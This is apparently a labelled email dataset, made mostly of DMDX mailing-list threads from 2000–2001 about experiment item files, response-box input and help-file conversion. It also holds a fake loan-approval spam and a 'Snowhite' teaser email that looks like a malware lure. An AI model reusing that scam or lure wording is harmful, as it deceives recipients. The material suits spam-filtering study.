$99.00!! An inexpensive solution that saves a lot of headaches!! cheers, John _____________________________________________________________________________ John P. Kline, Ph.D. Phone: 850-644-9363 Assistant Professor Fax: 850-644-7739 Department of Psychology Florida State University Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu ______________________________________________________________________________ ",0,1 Michael Johnston ,DMDX@psy1.psych.arizona.edu,"Thu, 21 Dec 2000 15:11:03 +1100",[DMDX] Re: Digital video sound quality," >>Is there any way around the problem? > > Convert the media to a non-quicktime format or install better codecs on > the machine. There are a number of ways to upgrade the codecs, upgrade > the media player, install a later version of DirectX, install a later > version of the OS, or maybe you can buy codecs from Apple. I was playing > with the windows update thing and I noticed that installing a later > version of IE will upgrade the media player. OK, I've done all of these things- I've installed Windows 2000, DirectX 8.0 (for NT/2000), and IE 5.5. I've also installed the latest version of DMDX. (by the way, we tried avi and mpg as well- it had the same problem as quicktime). Unfortunately, now DMDX won't run any .rtf files at all. When I select the ""run item file"" option, the whole screen goes white and nothing happens. A similar thing happens when I select any function in TimeDX- white screen, no action. Is this a Windows 2000 kind of problem? thanks, Michael =============================================== Dr Michael Johnston Research Fellow School of Psychological Science La Trobe University ph: 9479-1736 fax: 9479-1956 email: m.johnston@latrobe.edu.au School homepage: http://www.psy.latrobe.edu.au/ ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 21 Dec 2000 09:17:30 -0700",[DMDX] Re: Digital video sound quality,"At 03:11 PM 12/21/00 +1100, you wrote: >OK, I've done all of these things- I've installed Windows 2000, DirectX >8.0 (for NT/2000), and IE 5.5. I've also installed the latest version of >DMDX. (by the way, we tried avi and mpg as well- it had the same problem >as quicktime). What happens when the media player plays them, same degradation? > Unfortunately, now DMDX won't run any .rtf files at all. When I select > the ""run item file"" option, the whole screen goes white and nothing > happens. A similar thing happens when I select any function in TimeDX- > white screen, no action. Is this a Windows 2000 kind of problem? Only time I've seen that was using mutlimon and not having the desktop extend onto the secondary monitor. I wouldn't use win2k for better mutlimedia, it's likely to have worse support than 9x. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The devil finds work for idle circuits to do. ",0,0 Hahaha ,,"Thu, 21 Dec 2000 14:42:09 -0500",Snowhite and the Seven Dwarfs - The REAL story!,"Today, Snowhite was turning 18. The 7 Dwarfs always where very educated and polite with Snowhite. When they go out work at mornign, they promissed a *huge* surprise. Snowhite was anxious. Suddlently, the door open, and the Seven Dwarfs enter... ",1,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 25 Dec 2000 21:58:28 -0700",[DMDX] HTML Help,"Well, at great expense to the management we now have HTML versions of the DMDX and TimeDX help files, primarily for people like Ken who want their tutorials to point at the reference material. This is something I thought I'd knock of in the week before the university closed, hah. Let me tell you, if anyone even remotely suggests that writing a .RTF to .HTML filter (let alone one for windows help files) is trivial they don't know what they're talking about, I don't think I've written such a complex filter before. I thought having already written a .RTF parser for DMDX would make this cake, probably just made it harder. Things are still a little raw, if people are bored then generally surfing through them for errors, or at least differences from the .HLP files would be a useful. About the only thing I know about that needs attention right now is the ascii art in the PIO TimeDX section and I'm still thinking about what to do with that, I might have to make some bitmaps for those and that might be really challenging given that it must work for both .HLP and .HTML formats, that or figure out some way to hint to the filter to make those formatted sections, but that's complicated too. http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhdmdx.htm http://psy1.psych.arizona.edu/~jforster/dmdx/help/timedxhtimedxhelp.htm I haven't linked them into any of the web pages yet. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The devil finds work for idle circuits to do.",0,1 """Shannon S. Marcum"" ",cwc@astro.psu.edu,"Thu, 28 Dec 2000 16:27:25 -0600",RERE: Loan Application 06wz,"Dear Homeowner, cwc@astro.psu.edu http://feabc.com You have been approved for a $ 988,565 house loan (2.9 fixed) This offer is being presented to you right now!. Your credit history is in no way a factor. To take advantage of this Limited Time Opportunity, please take a minute and confirm your curiosity or intention to accept this loan, at the following web-site: http://feabc.comL Best Regards Don Nut Loan Manager http://feabc.com/redirect cwc@astro.psu.edu wrote: > Yours loan is approved 9h5s6b36sf ",1,1 """Kenneth M. Steele"" ",dmdx@psy1.psych.arizona.edu,"Mon, 01 Jan 2001 19:21:26 -0500",[DMDX] another zillion key question,"I have just begun work with dmdx and am having a problem getting the following item file to work as I intend. Below is a stripped down version of the item file. I want to present an item on the screen for some long time period. While the item is on the screen, I want to record *all* occurrences of some set of responses, and have the program to progress to the next item with out requiring an enter-key press. At present, I can't get rid of the enter-key requirement and not all of the key presses end up in the data file (although they do appear in the job1.zil file). Can someone provide me with help or an example item? It would be very helpful if an example of could be slipped into the example.... Ken !------------------------------------------------------------------------; !--------------------tested with v. 1.3.01; !; ! My reading of the help file was that or should eliminate the ""press enter"" requirement; 0 ""This is a test file for the"", ""Experiment"", ""Press SPACEBAR to begin"", ""v.01 kms 01-01-01""; ! Example Frame -- Something appears on the screen and I begin recording from 7, 8, and 9. I want to record *all* vzk-ed keypresses, have the display end, and move on to 102, without requiring the subject to press the enter key. And then do the same for 102, 103, and 104; ! Does someone have an example of how to do this? +101 * ""A 10-s screen""/; +102 * ""Good!""/; +103 * ""Do it again""/; +104 * ""Good!""/; 0 ""And that is all there is!""; !---------------------------------end----------------------------------; ---------------------- Kenneth M. Steele steelekm@appstate.edu Dept. of Psychology Appalachian State University Boone, NC 28608 USA >From DMDX-owner@psy1.psych.arizona.edu Mon Jan 1 21:03:24 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id VAA31613 for ; Mon, 1 Jan 2001 21:03:13 -0700 Received: from anybodyi.u.arizona.edu (128.196.98.11) by phobos.email.Arizona.EDU (5.1.056) id 3A4B436C00021C6C for DMDX@psy1.psych.arizona.edu; Mon, 1 Jan 2001 21:03:12 -0700 Message-Id: <5.0.2.1.2.20010101210138.009ef8c0@psy1.psych.arizona.edu> Date: Mon, 01 Jan 2001 21:03:18 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: another zillion key question In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 07:21 PM 1/1/01 -0500, you wrote: >I have just begun work with dmdx and am having a problem getting >the following item file to work as I intend. > >Below is a stripped down version of the item file. I want to >present an item on the screen for some long time period. While >the item is on the screen, I want to record *all* occurrences of >some set of responses, and have the program to progress to the >next item with out requiring an enter-key press. That's just plain zillion responses, in the parameter line. >At present, I can't get rid of the enter-key requirement and not >all of the key presses end up in the data file (although they >do appear in the job1.zil file). It's not a requirement, it's an optional extra that comes with , you don't want . >Can someone provide me with help or an example item? > >It would be very helpful if an example of could be >slipped into the example.... Just stick it in the parameter line. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The devil finds work for idle circuits to do. >From DMDX-owner@psy1.psych.arizona.edu Tue Jan 2 10:37:07 2001 Received: from mailhub.appstate.edu (mailhub.appstate.edu [152.10.1.4]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA00293 for ; Tue, 2 Jan 2001 10:36:52 -0700 Received: from ws3.appstate.edu (SYSTEM@ws3.appstate.edu [152.10.1.42]) by mailhub.appstate.edu (8.11.0/8.10.1) with ESMTP id f02HYT427654 for ; Tue, 2 Jan 2001 12:34:29 -0500 Received: from CONVERSION-DAEMON.appstate.edu by appstate.edu (PMDF V6.0-24 #41615) id <01JYFKA4N9IOA746IN@appstate.edu> for DMDX@psy1.psych.arizona.edu; Tue, 02 Jan 2001 12:36:49 -0400 (EDT) Received: from steelekm.psych.appstate.edu (""port 1100""@ksteele.psych.appstate.edu [152.10.3.201]) by appstate.edu (PMDF V6.0-24 #41615) with SMTP id <01JYFKA4B93Q9KONJI@appstate.edu> for DMDX@psy1.psych.arizona.edu; Tue, 02 Jan 2001 12:36:49 -0400 (EDT) Date: Tue, 02 Jan 2001 12:39:54 -0500 (Eastern Standard Time) From: ""Kenneth M. Steele"" Subject: [DMDX] Re: another zillion key question In-reply-to: <5.0.2.1.2.20010101210138.009ef8c0@psy1.psych.arizona.edu> To: DMDX@psy1.psych.arizona.edu Message-id: MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list On Mon, 01 Jan 2001 21:03:18 -0700 ""j.c.f."" wrote: > > >I have just begun work with dmdx and am having a problem getting > >the following item file to work as I intend. > > > >Below is a stripped down version of the item file. I want to > >present an item on the screen for some long time period. While > >the item is on the screen, I want to record *all* occurrences of > >some set of responses, and have the program to progress to the > >next item with out requiring an enter-key press. > > That's just plain zillion responses, in the parameter line. > That is what I thought it should be but when I used only then the program hangs at line 101. The screen times out correctly and is erased but the program never makes it to line 102. Ken ---------------------- Kenneth M. Steele steelekm@appstate.edu Dept. of Psychology Appalachian State University Boone, NC 28608 USA >From DMDX-owner@psy1.psych.arizona.edu Tue Jan 2 12:48:22 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA00631 for ; Tue, 2 Jan 2001 12:48:10 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.056) id 3A4B436C0002A570 for DMDX@psy1.psych.arizona.edu; Tue, 2 Jan 2001 12:48:09 -0700 Message-Id: <5.0.2.1.2.20010102123813.009e9cb0@psy1.psych.arizona.edu> Date: Tue, 02 Jan 2001 12:48:11 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: another zillion key question In-Reply-To: References: <5.0.2.1.2.20010101210138.009ef8c0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:39 PM 1/2/01 -0500, you wrote: >That is what I thought it should be but when I used only >then the program hangs at line 101. The screen times out >correctly and is erased but the program never makes it to line >102. For a start I can't guess at what an old version of DMDX is going to do, please use the latest release. Second, you can't have _anything_ before the parameter line, if those comments are actually in the script all bets are off. Although your use of is superfluous I'm betting that your is causing the hang, requires a time limit to determine when to stop taking responses but if you've turned off the time limit stuff with of course it's never going to time out and thus move beyond gathering responses for item 101. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Main's Law: For every action there is an equal and opposite government program. >From DMDX-owner@psy1.psych.arizona.edu Thu Jan 4 14:58:20 2001 Received: from mailspool.helios.nd.edu (mailspool.helios.nd.edu [129.74.250.7]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA06290 for ; Thu, 4 Jan 2001 14:57:47 -0700 Received: from darwin.helios.nd.edu (darwin.helios.nd.edu [129.74.250.114]) by mailspool.helios.nd.edu (8.9.2/8.9.2) with ESMTP id QAA11891 for ; Thu, 4 Jan 2001 16:57:45 -0500 (EST) Received: from localhost (mwenger1@localhost) by darwin.helios.nd.edu (8.10.1/8.10.1/ND-cluster) with ESMTP id f04Lvjh11396 for ; Thu, 4 Jan 2001 16:57:45 -0500 (EST) Date: Thu, 4 Jan 2001 16:57:45 -0500 (EST) From: ""Michael J. Wenger"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] reading input from PIO12 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list We're running version 1.05 and are trying to pull inputs from an 8-button response box connected via a PIO12 board. Inputs on Bits 0, 1, and 2 read fine, when specified as valid zillion keys, and I can map all three of these to requests, positive, and negative responses. However, I cannot read anything higher than Bit2. Bits 3 and higher register on the PIO12 test in TimeDX. -Michael ------------------------------------------------------------------- Michael J. Wenger Department of Psychology University of Notre Dame Notre Dame IN 46556 Office phone: (219) 631-9429 Dept. fax: (219) 631-8883 E-mail: Michael.J.Wenger.4@nd.edu mwenger1@nd.edu http://www.nd.edu/~mwenger1 ------------------------------------------------------------------- >From DMDX-owner@psy1.psych.arizona.edu Thu Jan 4 20:47:00 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id UAA07025 for ; Thu, 4 Jan 2001 20:46:12 -0700 Received: from anybodyi.u.arizona.edu (128.196.98.11) by phobos.email.Arizona.EDU (5.1.056) id 3A4B436C00052389 for DMDX@psy1.psych.arizona.edu; Thu, 4 Jan 2001 20:46:11 -0700 Message-Id: <5.0.2.1.2.20010104204554.009e41f0@psy1.psych.arizona.edu> Date: Thu, 04 Jan 2001 20:46:08 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: reading input from PIO12 In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:57 PM 1/4/01 -0500, you wrote: >We're running version 1.05 and are trying to pull inputs from an 8-button >response box connected via a PIO12 board. Inputs on Bits 0, 1, and 2 read >fine, when specified as valid zillion keys, and I can map all three of >these to requests, positive, and negative responses. However, I cannot >read anything higher than Bit2. Bits 3 and higher register on the PIO12 >test in TimeDX. See the MIP word. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The devil finds work for idle circuits to do. >From DMDX-owner@psy1.psych.arizona.edu Fri Jan 5 04:03:48 2001 Received: from f1n7.u.arizona.edu (dirkj@f1n7.U.Arizona.EDU [128.196.137.107]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id EAA07814 for ; Fri, 5 Jan 2001 04:03:38 -0700 Received: from localhost (dirkj@localhost) by f1n7.u.arizona.edu (8.8.8/8.8.8) with ESMTP id EAA38636 for ; Fri, 5 Jan 2001 04:03:38 -0700 Date: Fri, 5 Jan 2001 04:03:38 -0700 (MST) From: Dirk Janssen To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: HTML Help In-Reply-To: <5.0.2.1.2.20001225213049.009e4840@psy1.psych.arizona.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list On Mon, 25 Dec 2000, j.c.f. wrote: > thought I'd knock of in the week before the university closed, hah. Let me > tell you, if anyone even remotely suggests that writing a .RTF to .HTML yes, having looked at this format once (after which I ran, ran) I understand :-) > attention right now is the ascii art in the PIO TimeDX section and I'm > still thinking about what to do with that, I might have to make some how important is it, one may ask? On the other hand, I have at some time done a simple/dirty trick: Include sth. like ""HtmL:PRE:"" and ""HtmL:/PRE:"" as text in my word doc. A simple filter removes these from the word file before final creation of the help files, your clever filter uses these as hints for translation to html. HtmL:IMAGE SRC=""blah"": should insert a picture for you. just my $0.02 Dirk >From DMDX-owner@psy1.psych.arizona.edu Fri Jan 5 07:42:37 2001 Received: from mailspool.helios.nd.edu (mailspool.helios.nd.edu [129.74.250.7]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id HAA08259 for ; Fri, 5 Jan 2001 07:42:21 -0700 Received: from darwin.helios.nd.edu (darwin.helios.nd.edu [129.74.250.114]) by mailspool.helios.nd.edu (8.9.2/8.9.2) with ESMTP id JAA21272 for ; Fri, 5 Jan 2001 09:42:19 -0500 (EST) Received: from localhost (mwenger1@localhost) by darwin.helios.nd.edu (8.10.1/8.10.1/ND-cluster) with ESMTP id f05EgKW04175 for ; Fri, 5 Jan 2001 09:42:20 -0500 (EST) Date: Fri, 5 Jan 2001 09:42:20 -0500 (EST) From: ""Michael J. Wenger"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: reading input from PIO12 In-Reply-To: <5.0.2.1.2.20010104204554.009e41f0@psy1.psych.arizona.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Tried this both in the parameter line and on an item line and no change. And now I'm unable to remap request, positive and negative responses. > >We're running version 1.05 and are trying to pull inputs from an 8-button > >response box connected via a PIO12 board. Inputs on Bits 0, 1, and 2 read > >fine, when specified as valid zillion keys, and I can map all three of > >these to requests, positive, and negative responses. However, I cannot > >read anything higher than Bit2. Bits 3 and higher register on the PIO12 > >test in TimeDX. > > > See the MIP word. >From DMDX-owner@psy1.psych.arizona.edu Fri Jan 5 09:15:47 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA08491 for ; Fri, 5 Jan 2001 09:15:40 -0700 Received: from anybodyi.u.arizona.edu (128.196.98.11) by deimos.email.Arizona.EDU (5.1.056) id 3A4B4577000579DC for DMDX@psy1.psych.arizona.edu; Fri, 5 Jan 2001 09:15:39 -0700 Message-Id: <5.0.2.1.2.20010105090725.009e6290@psy1.psych.arizona.edu> Date: Fri, 05 Jan 2001 09:15:31 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: HTML Help In-Reply-To: References: <5.0.2.1.2.20001225213049.009e4840@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:03 AM 1/5/01 -0700, you wrote: > > attention right now is the ascii art in the PIO TimeDX section and I'm > > still thinking about what to do with that, I might have to make some >how important is it, one may ask? On the other hand, I have at some time >done a simple/dirty trick: Include sth. like ""HtmL:PRE:"" and >""HtmL:/PRE:"" as text in my word doc. A simple filter removes these >from the word file before Yep, had that in there for a while but there were additional complications there as filter then needed to know it was processing /PRE data and to not emit /BR etc. >final creation of the help files, your clever filter uses these as hints >for translation to html. HtmL:IMAGE SRC=""blah"": should insert a picture >for you. Did that, however to _automate_ the process the filter would have to either take the inline windows metafile format or instead take the .BMP reference and turn either into something you can post on the web, say .PNG. If you start to do a little research into .PNG's format you'll quickly find out it's another non-trivial format and would have taken more work than the .JPG format code I built recently (so I probably would have used .JPG but I didn't think of that back then). Instead I just made the code emit .GIF references and the user (me) was made implicitly responsible for converting the .BMPs to .GIFs and putting them in the right location. There are only 5 or so bitmaps in the new docs anyway so I live with it. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The devil finds work for idle circuits to do. >From DMDX-owner@psy1.psych.arizona.edu Fri Jan 5 09:19:19 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA08528 for ; Fri, 5 Jan 2001 09:19:14 -0700 Received: from anybodyi.u.arizona.edu (128.196.98.11) by deimos.email.Arizona.EDU (5.1.056) id 3A4B457700057AF0 for DMDX@psy1.psych.arizona.edu; Fri, 5 Jan 2001 09:19:13 -0700 Message-Id: <5.0.2.1.2.20010105091543.009df0e0@psy1.psych.arizona.edu> Date: Fri, 05 Jan 2001 09:19:05 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: reading input from PIO12 In-Reply-To: References: <5.0.2.1.2.20010104204554.009e41f0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:42 AM 1/5/01 -0500, you wrote: >Tried this both in the parameter line and on an item line and no change. >And now I'm unable to remap request, positive and negative responses. You need . You're going to have to post the first few lines of your item file. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The devil finds work for idle circuits to do. >From DMDX-owner@psy1.psych.arizona.edu Fri Jan 5 11:10:48 2001 Received: from mailspool.helios.nd.edu (mailspool.helios.nd.edu [129.74.250.7]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA08877 for ; Fri, 5 Jan 2001 11:10:38 -0700 Received: from darwin.helios.nd.edu (darwin.helios.nd.edu [129.74.250.114]) by mailspool.helios.nd.edu (8.9.2/8.9.2) with ESMTP id NAA25196 for ; Fri, 5 Jan 2001 13:10:36 -0500 (EST) Received: from localhost (mwenger1@localhost) by darwin.helios.nd.edu (8.10.1/8.10.1/ND-cluster) with ESMTP id f05IAcp16023 for ; Fri, 5 Jan 2001 13:10:38 -0500 (EST) Date: Fri, 5 Jan 2001 13:10:38 -0500 (EST) From: ""Michael J. Wenger"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: reading input from PIO12 In-Reply-To: <5.0.2.1.2.20010105091543.009df0e0@psy1.psych.arizona.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Thanks, Jonathan -- this solved it. -Michael > You need . You're going to have to post the first few lines of > your item file. >From DMDX-owner@psy1.psych.arizona.edu Wed Jan 10 01:14:11 2001 Received: from URANUS.forenap.asso.fr (forenap.telmat-net.fr [212.208.122.242]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id BAA20394 for ; Wed, 10 Jan 2001 01:13:01 -0700 Received: from forenap.asso.fr (YODA [193.107.110.108]) by URANUS.forenap.asso.fr (8.6.12/8.6.12) with ESMTP id IAA07355 for ; Wed, 10 Jan 2001 08:08:25 GMT Message-ID: <3A5C20BF.B8F6250A@forenap.asso.fr> Date: Wed, 10 Jan 2001 09:43:43 +0100 From: Jean-Francois Nedelec MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] azk-vs-zil Content-Type: multipart/mixed; boundary=""------------25000C19A17C37F4746C1FCC"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. --------------25000C19A17C37F4746C1FCC Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Happy New Year everybody, and great fun using DMDx I have tried using .zil instead of .azk With I got Item 1 631.65, +Bit2 918.27, -Bit2 Item 2 633.76, +Bit1 859.36, -Bit1 and so on What is the effective RT ??? With I got (different experiement) Item RT 1 556.45 2 685.84 In order to compare I put both in the command line Only .zil file has been updated Is it possible to get both ? Why .zil is generated and not .azk? Do we have to choose only one ? Thanks for reply Cheers Jean-Francois --------------25000C19A17C37F4746C1FCC Content-Type: text/x-vcard; charset=us-ascii; name=""jnedelec.vcf"" Content-Transfer-Encoding: 7bit Content-Description: Card for Jean-Francois Nedelec Content-Disposition: attachment; filename=""jnedelec.vcf"" begin:vcard n:Nedelec;Jean-Francois J. tel;fax:33.(0)3.89.78.51.24 tel;work:33.(0)3.89.78.70.18 / 71.65 / 71.70 x-mozilla-html:FALSE org:Forenap;MR Centre version:2.1 email;internet:jnedelec@forenap.asso.fr title:Ph.D. adr;quoted-printable:;;Hospital Center=0D=0A27, rue 4eme R.S.M.;ROUFFACH;;68250;France x-mozilla-cpt:;12896 fn:Jean-Francois J. Nedelec end:vcard --------------25000C19A17C37F4746C1FCC-- >From DMDX-owner@psy1.psych.arizona.edu Wed Jan 10 09:24:10 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA21296 for ; Wed, 10 Jan 2001 09:23:55 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.31) by phobos.email.Arizona.EDU (5.1.056) id 3A4B436C0009F164 for DMDX@psy1.psych.arizona.edu; Wed, 10 Jan 2001 09:23:54 -0700 Message-Id: <5.0.2.1.2.20010110091002.009ef1b0@psy1.psych.arizona.edu> Date: Wed, 10 Jan 2001 09:23:56 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: azk-vs-zil In-Reply-To: <3A5C20BF.B8F6250A@forenap.asso.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:43 AM 1/10/01 +0100, you wrote: >Happy New Year everybody, >and great fun using DMDx > >I have tried using .zil instead of .azk > >With I got >Item 1 631.65, +Bit2 918.27, -Bit2 >Item 2 633.76, +Bit1 859.36, -Bit1 >and so on >What is the effective RT ??? For item 1 Bit2 went active (ie, the button connected to Bit 2 of port A on the PIO12 was pressed) 631.65ms after the clockon. It went inactive (was released) 918.27ms after the clockon. >With I got (different experiement) >Item RT >1 556.45 >2 685.84 > >In order to compare I put both > in the command line >Only .zil file has been updated > >Is it possible to get both ? No. >Why .zil is generated and not .azk? .zil is a superset of the .azk code. >Do we have to choose only one ? Yup. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Military intelligence is a contradiction in terms. - Groucho Marx >From DMDX-owner@psy1.psych.arizona.edu Thu Jan 11 01:08:08 2001 Received: from mailer3.bham.ac.uk (mailer3.bham.ac.uk [147.188.128.54]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id BAA23251 for ; Thu, 11 Jan 2001 01:07:49 -0700 Received: from bham.ac.uk ([147.188.128.127]) by mailer3.bham.ac.uk with esmtp (Exim 3.16 #2) id 14Gclm-0005Te-00 for DMDX@psy1.psych.arizona.edu; Thu, 11 Jan 2001 08:07:38 +0000 Received: from psg-fs5.bham.ac.uk ([147.188.20.122]) by bham.ac.uk with esmtp (Exim 3.16 #3) id 14Gclk-00003D-00 for DMDX@psy1.psych.arizona.edu; Thu, 11 Jan 2001 08:07:36 +0000 Received: from BHAM-PSG-FS5/SpoolDir by psg-fs5.bham.ac.uk (Mercury 1.44); 11 Jan 01 08:07:37 +0000 Received: from SpoolDir by BHAM-PSG-FS5 (Mercury 1.44); 11 Jan 01 08:07:37 +0000 Received: from GW1 (Gateway) (147.188.22.51) by psg-fs5.bham.ac.uk (Mercury 1.44) with ESMTP; 11 Jan 01 08:07:30 +0000 From: ""Martin Edwards"" To: DMDX@psy1.psych.arizona.edu Date: Thu, 11 Jan 2001 08:07:28 -0000 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: [DMDX] Re: 2.3.04 Message-ID: <3A5D69C0.20059.5D4EB@localhost> In-reply-to: <5.0.2.1.2.20001214164421.009ed2a0@psy1.psych.arizona.edu> References: <5.0.2.1.2.20001214163109.009e32b0@psy1.psych.arizona.edu> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hello, Could someone please point me to the web site that has version 2.3.04. Thanks Martin ---------------------------------- Dr. Martin G. Edwards Behavioural Brain Sciences Centre School of Psychology University of Birmingham Edgbaston Birmingham W. Mids B15 2TT >From DMDX-owner@psy1.psych.arizona.edu Thu Jan 11 02:35:17 2001 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id CAA23449 for ; Thu, 11 Jan 2001 02:34:50 -0700 Received: from pc057 by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Thu, 11 Jan 2001 09:34:48 GMT Message-Id: <200101110934.JAA17029@mailhost.mrc-cbu.cam.ac.uk> Date: Thu, 11 Jan 2001 09:35:51 +0000 To: DMDX@psy1.psych.arizona.edu From: Mike Ford Subject: [DMDX] Re: 2.3.04 In-Reply-To: <3A5D69C0.20059.5D4EB@localhost> References: <5.0.2.1.2.20001214164421.009ed2a0@psy1.psych.arizona.edu> <5.0.2.1.2.20001214163109.009e32b0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 08:07 11/01/01 +0000, you wrote: >Could someone please point me to the web site that has version >2.3.04. Thanks http://www.u.arizona.edu/~jforster/dmdx/ - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB1 2NQ, UK. Tel: +44 (0)1223 355294 ext 241 Fax: +44 (0)1223 359062 http://www.mrc-cbu.cam.ac.uk/personal/mike.ford oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo >From DMDX-owner@psy1.psych.arizona.edu Mon Jan 15 07:56:01 2001 Received: from dire.bris.ac.uk (dire.bris.ac.uk [137.222.10.60]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id HAA01162 for ; Mon, 15 Jan 2001 07:55:09 -0700 Received: from eis.bris.ac.uk by 